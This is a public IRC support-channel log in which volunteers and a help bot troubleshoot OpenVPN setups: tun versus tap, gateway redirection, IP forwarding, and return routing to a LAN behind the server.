15:01 < pekster> It's minimal, but there's some theoretical loss of performance as the entire Ethernet header is transported across the VPN tunnel
15:01 -!- p3rror [~p3rror@105.158.214.189] has joined #openvpn
15:01 < pekster> (plus the usual ARP and broadcast traffic that's transported)
15:01 < stairmast0r> so tap is good
15:01 < pekster> tap is generally best avoided unless you have a specific need for it; determining if you need it is up to you
15:02 < pekster> tap is like a "really long virtual Ethernet cable" while tun is effectively a PtP routed setup, optionally with a virtual subnet stacked on top
15:03 < stairmast0r> think i'll go with tap..
15:04 -!- iliv [~iliv@5.248.193.200] has quit [Ping timeout: 246 seconds]
15:04 < stairmast0r> the goal is to play lan games with my girlfriend (in another state), so every IP address she doesn't have to type is that much better
15:04 < stairmast0r> lol
15:12 -!- p3rror [~p3rror@105.158.214.189] has quit [Ping timeout: 256 seconds]
15:18 < bitcrusher> Whats the difference between openvpnconnect and not using it?
15:19 < stairmast0r> bitcrusher: with one of them, you arent using it
15:19 < pekster> Same difference as using a shovel vs not using it? OpenVPN Connect is closed-source (non-GPL) and a product of the commercial company
15:20 < bitcrusher> I see, thanks pekster
15:20 < pekster> The Connect and AS products are designed for commercial users paying a license fee in accordance with its own EULA
15:20 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
15:20 < pekster> IIRC Connect is "free for users", but I haven't bothered to read the license closely enough
15:27 <@krzee> whats the difference between IRC and not using it?
15:27 <@krzee> lol @ shovel :D
15:27 <@krzee> nice
15:28 -!- mattock is now known as mattock_afk
15:28 < cornfeedhobo> i finally got it across to co-workers why we shouldnt use /8 !
15:29 < cornfeedhobo> omg that was stupid difficult
15:45 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has left #openvpn []
15:45 -!- Alina-malina [Alina-mali@82.199.216.148] has quit [Ping timeout: 256 seconds]
15:50 -!- Alina-malina [Alina-mali@82.199.216.148] has joined #openvpn
15:53 <@krzee> cornfeedhobo, good job man
15:55 < cornfeedhobo> perfect timing, i just got asked, how about a /11
15:55 < cornfeedhobo> no!
15:56 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
15:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:58 < pekster> 2^(32-11) == 2,097,152. They need 2.1 million hosts on a subnet?
16:03 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
16:08 -!- Etale [~moi@2601:1:2000:7a:2677:3ff:fe6f:90d8] has quit [Quit: Leaving]
16:22 -!- shubb [~sam@samhubble.co.uk] has joined #openvpn
16:23 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:25 < shubb> hi, I'm having some trouble configuring openvpn. I have openvpn on a server, and I am connecting to it with windows openvpn client. I am trying to tunnel my windows internet traffic through the server. Windows VPN client recieves an IP from the server 10.8.0.6, and traffic reaches the server (I can access pages on the server), but still seems to have the IP my windows system got for it's wlan connection (internet IP, not private IP)
16:25 < shubb> so my iptables rules to route 10.* traffic are not working
16:26 < shubb> I don't really know what I'm doing. Anyone free to give me a hand?
16:26 < pekster> !redirect
16:26 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:26 <@vpnHelper> http://ircpimps.org/redirect.png or (#5) flowchart mirror at http://pekster.sdf.org/misc/redirect.png
16:27 < shubb> pekster: I'll have a look, thanks
16:28 < shubb> !def1
16:28 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
16:29 < shubb> if this is a client config setting, it might be it
16:29 < pekster> Any config option that can be pushed can also be used (minus the --push, of course) on the client
16:33 < shubb> !ipforward
16:33 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
16:33 < shubb> !winipforward
16:34 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
16:36 < pekster> If your server is Windows, I'd suggest it may be less painful to run a Linux or Unix VM rather than mess with making Windows route & NAT for you
16:37 < cornfeedhobo> pekster: that was my question in response. I think i have them ready to accept /20 per DC
16:37 < pekster> 4k hosts is still a bit steep (at least if you expect to use most of the concurrently) but it's your network
16:38 -!- Denial [Denial@90.205.133.229] has quit []
16:38 < pekster> I don't really see the point in using larger than /22's per subnet unless the allocation precentage is expected to be pretty low
16:40 < pekster> At least a /20 is within the realm of sanity
16:46 < shubb> is it sufficient to push redirect gateway from the server, or do I need to do it in the client config as well?
16:46 < pekster> Either one
16:46 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
16:46 < pekster> You only need it once (IIRC the client complains if you try to use it a 2nd time)
16:48 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
16:48 < shubb> pekster: the problem was that I didn't have ip forwarding set up on the (linux) server, enabled with echo 1 > /proc/sys/net/ipv4/ip_forward
16:49 < shubb> works now! :-)
16:49 < shubb> thanks for the flow chart
16:49 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:50 < shubb> :q
16:51 -!- shubb [~sam@samhubble.co.uk] has quit [Quit: leaving]
16:52 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
17:18 -!- Socket- [~Socket_@pool-108-28-190-93.washdc.fios.verizon.net] has quit [Ping timeout: 256 seconds]
17:18 -!- Socket- [~Socket_@pool-108-28-190-93.washdc.fios.verizon.net] has joined #openvpn
17:18 -!- Varazir [~mircwars@c-94-255-131-158.cust.bredband2.com] has quit [Ping timeout: 276 seconds]
17:19 -!- Varazir [~mircwars@c-94-255-131-158.cust.bredband2.com] has joined #openvpn
17:21 -!- master_o1_master [~master_of@p4FF24FE9.dip0.t-ipconnect.de] has joined #openvpn
17:22 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:24 -!- master_of_master [~master_of@p4FF24683.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
17:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:49 -!- cerettala_laptop [~cerettala@webcom.graysonhead.net] has left #openvpn []
17:50 -!- cerettala_laptop [~cerettala@webcom.graysonhead.net] has joined #openvpn
18:21 -!- Changos [~Changos@unaffiliated/changos] has joined #openvpn
18:21 < Changos> Hi guys !
18:26 < Changos> Does somebody here could make a VPN on mode bridge with HA ?
18:42 -!- nutron|w [~nutron@24.67.96.21] has joined #openvpn
18:45 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
18:57 < dimm0k> what exactly is the difference between private tunnel and open access server?
19:03 < pekster> One's a subscsription service for clients, the other is a licensed server; neither is open-source or on-topic here
19:03 < pekster> !as
19:03 <@vpnHelper> "as" is (#1) please go to #OpenVPN-AS for help with Access-Server or (#2) AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the Community openvpn, which we support here.
19:03 < pekster> The GPL stuff on-topic here is:
19:03 < pekster> !download
19:03 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
19:03 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
19:24 -!- hfp [~user@ovpn.t28.net] has joined #openvpn
19:24 -!- Alina-malina [Alina-mali@82.199.216.148] has quit [Ping timeout: 256 seconds]
19:33 -!- _val__ [unix@dhcp-077-251-072-184.chello.nl] has quit [Ping timeout: 268 seconds]
19:35 -!- _val_ [unix@freebsd/user/val] has joined #openvpn
19:44 -!- lirime is now known as liriel
19:44 -!- _val_ [unix@freebsd/user/val] has quit [Ping timeout: 252 seconds]
19:45 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
19:45 < hfp> Hi guys, is there a way to monitor bandwidth usage per OpenVPN client?
19:46 -!- _val_ [unix@freebsd/user/val] has joined #openvpn
19:47 < pekster> hfp: The status file contains the amount of bytes in/out, and you can output this to the log with a SIGUSR2 signal
19:48 < pekster> hfp: You can also set up a --client-disconnect script which can access env-vars that hold the information too
19:48 < pekster> !accounting
19:48 <@vpnHelper> "accounting" is http://pekster.sdf.org/code/files/openvpn-user-accounting.tgz for some bash code for basic accounting
19:48 < hfp> pekster: Thanks
19:48  * pekster forgets if that tarball has on-connect or on-disconnect script(s), but the concept is the same
19:50 < hfp> pekster: It is on-disconnect
19:50 < pekster> Well there we go
19:50 < hfp> Exactly what I was looking for
19:50 < pekster> I just put it up there as an example a while back in the hopes that it would be useful
19:50 < pekster> I suppose I could toss it up on github now that I finally set up an account there a while back
19:50 < hfp> That day has come :)
19:54 -!- uuuppz [~kvirc@77.107.233.34] has quit [Ping timeout: 260 seconds]
19:54 -!- raidz is now known as raidz_away
19:55 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:07 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
20:07 -!- swiftkey [swiftkey@2600:3c03::f03c:91ff:feae:aac] has left #openvpn []
20:19 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
20:22 -!- kplong [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 256 seconds]
20:28 -!- damoncasale [~IceChat77@72.184.135.113] has joined #openvpn
20:28 -!- damoncasale [~IceChat77@72.184.135.113] has quit [Client Quit]
20:39 -!- levifig [~levifig@spwn.co] has quit [Excess Flood]
21:08 -!- WinstonSmith_ [~WinstonSm@a95-95-35-108.cpe.netcabo.pt] has quit [Read error: Operation timed out]
21:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:17 -!- Alina-malina [Alina-mali@46.162.216.216] has joined #openvpn
21:24 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: No route to host]
21:24 -!- Devastator- [~devas@177.18.196.29] has joined #openvpn
21:30 < lamba> when you push a route to a client, can you dictate the metric ?
21:32 <@krzee> what do you want to achieve with a matric?
21:32 <@krzee> metric*
21:33 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:38 < pekster> The --route directive in the manpage has the answer you seek. That said, metrics aren't really used on modern OSes unless you're doing policy routing with multiple uplinks
21:52 < lamba> im doing policy routing with multiple uplinks.
21:52 < lamba> :)
21:53 < lamba> yeah i saw that in the manpage, wasn't sure if it would work in the server config file or if it was just a cli option only
21:53 < pekster> Any directive works at either location, including incidently --config
21:53 < lamba> oh. nifty.
21:54 < pekster> Though some don't make much sense, like --show-tls, they're still valid to put in a config
22:39 -!- stairmast0r [nobody@unaffiliated/stairmast0r] has left #openvpn ["I have to return some video tapes"]
22:52 -!- jivee [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:53 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
23:17 -!- Devastator- [~devas@177.18.196.29] has quit [Read error: No route to host]
23:17 -!- Devastator [~devas@177.18.196.29] has joined #openvpn
23:25 -!- bitcrusher [~bleedingp@c-24-16-218-146.hsd1.wa.comcast.net] has left #openvpn []
23:26 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 240 seconds]
23:30 -!- iliv [~iliv@5.248.193.200] has joined #openvpn
23:39 < itpings> hi all
23:40 < itpings> is there a routing problem with older version of openvpn ?
23:41 -!- WormFood [~wormfood@120.128.2.171] has quit [Ping timeout: 246 seconds]
23:42 < pekster> "a routing problem"? If it's listed in the Changelog, then it would have been changed/fixed/updated or whatever the log says
23:42 < EugeneKay> No.
23:42 < EugeneKay> PEBKAC, I guarantee it ;-)
23:42 < EugeneKay> !xy
23:42 <@vpnHelper> "xy" is http://mywiki.wooledge.org/XyProblem -- I want to do X, but I'm asking how to do Y...
23:43 < pekster> "older version" suggested it's not present in "recent versions", but yes, a description of the problem tends to yeild better answers
23:44 -!- WormFood [~wormfood@120.128.2.171] has joined #openvpn
23:44 < itpings> i am having a strange problem
23:45 < itpings> could you advise where should i post my scenario and configs ?
23:45 < itpings> so i can get a better understanding
23:47 < EugeneKay> !paste
23:47 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
23:47 < EugeneKay> !configs
23:47 < EugeneKay> !logs
23:47 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
23:47 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
23:49 -!- Devastator [~devas@177.18.196.29] has quit [Ping timeout: 256 seconds]
23:49 -!- Devastator [~devas@177.18.196.29] has joined #openvpn
23:49 < itpings> ok i will use fpaste.org
23:49 < itpings> Thanks a lot
23:50 -!- Devastator [~devas@177.18.196.29] has quit [Client Quit]
23:50 < itpings> and then i can paste the link here?
23:53 < EugeneKay> Yes
--- Day changed Fri Jun 28 2013
00:09 -!- Devastator [~devas@177.18.196.29] has joined #openvpn
00:10 -!- Devastator [~devas@177.18.196.29] has quit [Changing host]
00:10 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
00:11 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 264 seconds]
00:35 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
00:52 < itpings> hi guys i am back
00:52 < itpings> i have pasted to fpaste.org
00:52 < itpings> here is the link http://ur1.ca/egp14
00:52 <@vpnHelper> Title: #21589 Fedora Project Pastebin (at ur1.ca)
00:53 < itpings> can you see it ?
00:54 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:54 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:54 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:56 < i7c> Well yeah, if I click the link I can see it.
00:56 < itpings> ty for the conf
00:57 < i7c> Your routing table looks fun ^^
00:59 < itpings> linux ?
00:59 < itpings> pls guide
01:02 < i7c> The 192.168.100.0/24 subnet is where your linux server is, too?
01:03 < itpings> yes sir
01:03 < i7c> Mhm you might need some NAT here.
01:04 < i7c> This subnet is not aware of your VPN. So your server forwards packets there but they have a VPN IP and thus can't find the way back to your machine in the VPN.
01:04 < i7c> (I might be wrong, it's early in the morning here)
01:04 < pekster> !route_outside_openvpn
01:04 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
01:04 < pekster> If that's the issue
01:05 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
01:05 < itpings> Linux server is only for vpn and not to direct any traffic to internet
01:05 < itpings> do i still need NAT ?
01:06 < i7c> Well that depends. _Either_ your router in the 192.168.100.0 net needs a route for the VPN subnet _or_ you translate the VPN address into a read LAN address.
01:07 < i7c> Do you understand the issue?
01:07 < itpings> so you mean i need to add route 192.168.100.0 in linux server ?
01:07 < i7c> Mhm no
01:08 < i7c> You need something like  192.168.10.0/24 via 192.168.100.245
01:08 < i7c> in the router of .100
01:08 < itpings> ok i will try it in a min
01:08 < itpings> and will update
01:08 < itpings> thanks a lot
01:09 < i7c> The problem is the packets from VPN exit the VPN on your server and enter the LAN, but they still have a VPN IP, which your LAN doesn't know about.
01:09 < i7c> No problem.
01:13 < itpings> No sir ...its the same
01:15 < i7c> Might need to adapt your eth interface to accept packets with the VPN IP?
01:15 < i7c> i.e. adding another address
01:15 < i7c> to the interface.
01:15 < itpings> ok
01:15 < itpings> will do it
01:15 < pekster> What good will adding another address do?
01:16 < pekster> Route between your subnetes, insuring that there exists a valid return route
01:16 < itpings> 192.168.10.3
01:16 < pekster> subnets*
01:18 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
01:18 < i7c> That requires translating the address, doesn't it?
01:19 < pekster> Routing? No. How do you think you're accessing Freenode?
01:20 < pekster> Your packet gets *routed* there, and when it arrives it has your public IP as the source; nothing is translated, or should be unless you're operating on an unroutable network that has to be transported across the public Internet
01:21 < itpings> ok just restarted the server
01:21 < pekster> You shouldn't have two routes for 192.168.100/24 on the client, just the one
01:22 < pekster> That's probably not your issue, but it's abnormal
01:22 < i7c> pekster, ehm. From my local IP to the public one doesn't fit your definition of translating the address then I guess.
01:22 < itpings> i have only one route for 1.1.1.1
01:22 < pekster> If 192.168.100.245 isn't the default router for that network, you need to re-read the !route_outside_openvpn text above
01:22 < pekster> No, I mean lines 133-134 in that paste
01:22 < itpings> ok lemme check pls
01:23 < pekster> (and, for future reference, the `ip address show` output when dumping output is cleaner; ifconfig, netstat, and related are the old, deprecated tools)
01:23 < pekster> Not a huge deal, but some reading for you to file away for later:
01:23 < pekster> !ifconfig_linux
01:23 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
01:23 < itpings> yeah this address is coming automatically
01:23 < itpings> 192.168.10.5
01:23 < pekster> !/30
01:23 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
01:24 < pekster> Did you read/understand the bit about the return routing to the VPN?
01:24 < pekster> i7c sounds correct in the advise you got; the bot's output has more details
01:26 < itpings> i understand the return routing ...seriously this is the first time i am having issues with vpn
01:26 < itpings> its good
01:26 < itpings> i am learning something
01:26 < itpings> but tiring too
01:28 < itpings> ....well even after the restart its the same
01:29 -!- mattock_afk is now known as mattock
01:29 < itpings> i missing small piece of the puzzle
01:48 < hipodilski> w
02:15 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:21 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
02:27 < MaxDamage> pekster, a bit of an update from yesterday. It does work with a different GUI, no passwords needed, same config. Thanks for all your help. :)
02:34 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:35 < itpings> i changed the ips and still its getting 10.8.0.5 as a gateway
02:35 < itpings> its getting 2 gateways automatically
02:35 < itpings> hey fischli
02:35 < pekster> .5 is completely normal since that's part of the /30
02:36 < pekster> You could use the subnet topolgoy as the bot suggested too
02:36 < pekster> Based on your paste my answer is exactly the same as it was before: you either have a routing or firewall issue
02:36 < itpings> ok i will scroll up
02:36 < itpings> i don't have firewall inplace atm
02:37 < pekster> You have at least 4 systems involved
02:37 < pekster> You don't have firealls on *any* of them?
02:37 < pekster> VPN client, VPn server, LAN PC, and LAN router
02:38 < pekster> All of them need to have routing and firewalls set up properly
02:39 < itpings> i have disabled firewall to check them
02:39 < itpings> vpn server is the router as well
02:39 < itpings> lan pc has vpn client as well
02:40 < itpings> and the pc where i am pinging can receive icmp
02:42 < pekster> !serverlan
02:42 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
02:42 < pekster> Having the lan PC on the VPN isn't relevant unless you're trying to reach it by its VPN-assigned IP
02:44 < fischli> hi itpings, still digging :P
02:45 -!- Alina-malina [Alina-mali@46.162.216.216] has quit [Ping timeout: 246 seconds]
02:45 < itpings> hey fishchli yeah same stuff
02:47 < itpings> pekster thanks a lot ... trying again now
02:47 < itpings> do you think Centos 5.7 has to do somthing with the version of openvpn ?
02:49 < pekster> Nope
02:49 -!- Denial [~Denial@90.205.133.229] has joined #openvpn
02:49 < fischli> a bit outdated, why don't you update?
02:50 < pekster> That too; upstream (RHEL) doesn't support package updates to anything but the most recent point-release
02:51 < pekster> And full updates for 5.x cease by spring 2014
02:51 < itpings> basically i use 6 ver
02:51 < itpings> but thought 5.7 will work
02:51 < pekster> It should
02:51 < itpings> any way still routing issue
02:52 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
02:52 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
02:52 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:52 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
02:54 < itpings> its showing 10.8.0.2 as a gateway
02:55 < itpings> however tun0 has ip of 10.8.0.1 ip
02:59 < itpings> don't know what to do
02:59 < itpings> * jumping outta the window
03:01 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
03:04 < fischli> itpings: don't have the whole picture, but could it be that you mixed up your subnets? your tun0 (as being a peer-to-peer) is part of a bigger 10.8.x.x ?
03:04 < itpings> http://ur1.ca/egp14
03:04 <@vpnHelper> Title: #21589 Fedora Project Pastebin (at ur1.ca)
03:05 < itpings> after changing ip back to 10.8.0.0 network
03:05 < itpings> inet addr:10.8.0.1  P-t-P:10.8.0.2
03:06 < itpings> tun0
03:08 < itpings> And now i am listening to Desparado by Eagles
03:08 < itpings> lol
03:08 < itpings> one week but no solution with this simple thing
03:12 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 246 seconds]
03:12 < jzaw> itpings have you had the vpn working at all?
03:12 < jzaw> do you have full access to both ends?
03:13 < jzaw> i found i had to manually play with ip a and ip r to get it working
03:13 < jzaw> then i fixed the push statements
03:13 < jzaw> and openvpn up down scripts
03:15 < itpings> yup vpn is functional
03:15 < itpings> but cannot ping to the lan behind server
03:15 < itpings> yeah i have full access
03:16 < jzaw> is your server also the gateway machine?
03:16 < itpings> its acting as a router
03:16 < itpings> for two lans
03:16 < itpings> but no one is access internet through it
03:16 < itpings> here is the scenario
03:17 < itpings> http://ur1.ca/egp14
03:17 <@vpnHelper> Title: #21589 Fedora Project Pastebin (at ur1.ca)
03:17  * jzaw asks itping to note jzaw itsnt the resident expert by any means what so ever but is willing to listen and mayby add his tu'pen'orth
03:17 < itpings> same here
03:17 < itpings> lol
03:18 < itpings> and thank you :)
03:18 < fischli> itpings: you can ping 192.168.100.245 as you said and did you see any icmps from 192.168.5.x on eth1 of your server leaving the interface for any 192.168.100.x?
03:18 -!- uuuppz [~kvirc@77.107.233.34] has joined #openvpn
03:18 < itpings> i will wireshark
03:18 < itpings> just a min
03:19 < jzaw> itpings, in your paste 1.1.1.1    really dont cover up cos it doesnt help diagnose and doesnt make you any more secure
03:19 < fischli> tcpump -i eth1 -n icmp (on your server)
03:20 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
03:20 < fischli> tcpdump*
03:22 < itpings> ok so wireshark is not letting icmp out from 5.0
03:22 < itpings> i mean i checked with wireshark
03:22 < itpings> but with virtual adapter created with vpn it can send icmp
03:24 < itpings> i think its not receiving icmp
03:25 < itpings> tun0 is receiving
03:25 < itpings> 10.8.0.6 > 192.168.100.245: ICMP echo request, id 1, seq 460, length 40
03:25 < itpings> 14:24:57.538155 IP (tos 0x0, ttl  64, id 41351, offset 0, flags [none], proto: ICMP (1), length: 60) 192.168.100.245 > 10.8.0.6: ICMP echo reply, id
03:27 < MaxDamage> !howto
03:27 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
03:27 < fischli> nice ... and what about icmp to 192.168.100.anyone? does it leave eth1?
03:28 < itpings> hmmm
03:28 < itpings> you want me to ping from server to 192.168.100.0 subnet ?
03:29 < itpings> tcpdump -o eth1 -vv -n icmp
03:31 < itpings> tcpdump -i eth1 -vv -n icmp
03:31 < itpings> sorry
03:31 < fischli> yes, ping any machine on 192.168.100.0 from the win client and do 'tcpdump -i eth1 -n icmp'
03:32 < itpings> IP (tos 0x0, ttl  64, id 0, offset 0, flags [DF], proto: ICMP (1), length: 84) 192.168.100.245 > 192.168.100.200: ICMP echo request, id 43039, seq 1, length 64
03:32 < itpings> 14:31:02.882963 IP (tos 0x0, ttl 128, id 7317, offset 0, flags [none], proto: ICMP (1), length: 84) 192.168.100.200 > 192.168.100.245: ICMP echo reply, id 43039, seq 1, length 64
03:32 -!- erry is now known as ERRY
03:33 < fischli> why does the icmp now have 192.168.100.245 as source ip?
03:34 < itpings> because its eth1
03:34 < itpings> ip on eth1 is 192.168.100.245
03:35 < itpings> and i am pinging to 192.168.100.200
03:36 < itpings> guys after i solve this i also want to support other people for openvpn and linux
03:36 < MaxDamage> When I encrypt my files, it asks for a username and password to decrypt them. Do I use the username used for encryption? eg root
03:36 < itpings> Thanks a lot for what you guys are doing much appreciated :)
03:36 < MaxDamage> When I say files, I mean my keys and certificates, sorry
03:36 < MaxDamage> itpings, that's a righteous quest
03:36 < fischli> itpings: that's more a routing/iptables issue
03:36 < MaxDamage> let me review what you said
03:37 < itpings> i want to be part of this community and support :)
03:37 < itpings> will dedicate my time
03:38 < MaxDamage> itpings, lovely
03:38 < itpings> ty
03:38 < itpings> and ty 2
03:39 < fischli> itpings: you did 'ping 192.168.100.200' on the win client (10.8.0.6) and the packet leave at eth1 on your server with 192.168.100.245? for sure?
03:39 < MaxDamage> well obviously it will
03:40 < MaxDamage> the first address is a class C private
03:40 < MaxDamage> and it's behind a NAT
03:40 < MaxDamage> so the source IP will be the gateway routed toward the class A private subnet
03:40 < MaxDamage> over the virtual interface
03:40 < MaxDamage> the source IP address of the pings will always be the gateway, since the subnets are different
03:40 < itpings> ok i will tcpdum again and this time will ping from vpnclinet
03:42 < MaxDamage> fischli, do you know the username I should use when using encrypted keys? It asks for one as opposed to just the PEM passphrase...
03:42 < MaxDamage> Would that be root or the client name? eg changeme
03:43 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [K-Lined]
03:43 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:43  * fischli shrugs
03:44 < MaxDamage> pekster, any ideas? :>
03:44 < MaxDamage> I owe you a few beers so far.
03:45 < itpings> ok here is the dump3
03:45 < itpings> from client to server
03:45 -!- xTz_ [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
03:45 < itpings> ping 192.168.100.200 from client
03:45 < itpings> 14:43:51.829319 IP (tos 0x0, ttl 128, id 152, offset 0, flags [none], proto: ICMP (1), length: 60) 10.8.0.6 > 192.168.100.200: ICMP echo request, id 1, seq 468, length 40
03:45 < itpings> 14:43:56.549268 IP (tos 0x0, ttl 128, id 167, offset 0, flags [none], proto: ICMP (1), length: 60) 10.8.0.6 > 192.168.100.200: ICMP echo request, id 1, seq 469, length 40
03:45 < itpings> 14:44:01.540198 IP (tos 0x0, ttl 128, id 184, offset 0, flags [none], proto: ICMP (1), length: 60) 10.8.0.6 > 192.168.100.200: ICMP echo request, id 1, se
03:46 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:46 < itpings> only requests no replies
03:46 < fischli> routing on 192.168.100.200 to 10.8.0.6?
03:47 < itpings> on client ?
03:47 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
03:47 < fischli> no, 192.168.100.200 has to know where to send it back
03:48 < itpings> but Linux is a router as well
03:48 < fischli> you set a route for 10.8.0.6 on 192.168.100.200?
03:49 < fischli> heh? what do you mean with "but Linux is a router as well"?
03:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:51 < itpings> hmmm
03:51 < itpings> just a min
03:52 < itpings> i mean linux has all the three nics
03:52 < itpings> and subnets
03:52 < itpings> so it know where to send and receive packets
03:52 < fischli> you didn't setup masquerading on 192.168.100.245 and for this one you have to set the route on 192.168.100.200. otherwise 192.168.100.200 doesn't now what to do with 10.8.0.6
03:53 < fischli> it will send it to the default gateway and this one isn't 192.168.100.245?
03:54 < itpings> ok trying now
03:54 < itpings> will post
03:54 < itpings> in few mins
03:55 -!- Nothing4You is now known as NOTHING4YOU
